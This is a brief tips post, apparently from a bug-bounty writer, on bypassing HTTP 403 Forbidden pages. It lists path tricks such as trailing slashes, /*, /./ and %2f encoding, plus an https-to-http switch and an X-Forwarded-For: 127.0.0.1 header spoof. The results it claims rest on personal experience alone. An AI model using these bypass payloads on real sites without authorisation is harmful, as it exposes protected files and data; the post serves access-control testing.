403 Bypass
I am sharing all this tips and techniques from my own personal experience there no official references for that
If you see directory with no slash at end then do these acts there
site.com/secret => 403
site.com/secret/* => 200
site.com/secret/./ => 200
If you see file without any slash at end then do these acts there
site.com/secret.txt => 403
site.com/secret.txt/ => 200
site.com/%2f/secret.txt/ => 200
Well, sound wired but check out the example for better understanding
https://site.com/secret => 403
http://site.com/secret => 200
/
/*
/%2f/
/./
./.
/*/
X-Forwarded-For: 127.0.0.1
Here is a Tool I found on twitter.
Well Always look for some references or proof of concept if someone sharing any tips so you may confirm you are not wasting your time at all. I have some poc video on my YouTube channel for 403 and other Improper access control bugs with those methods. You can check them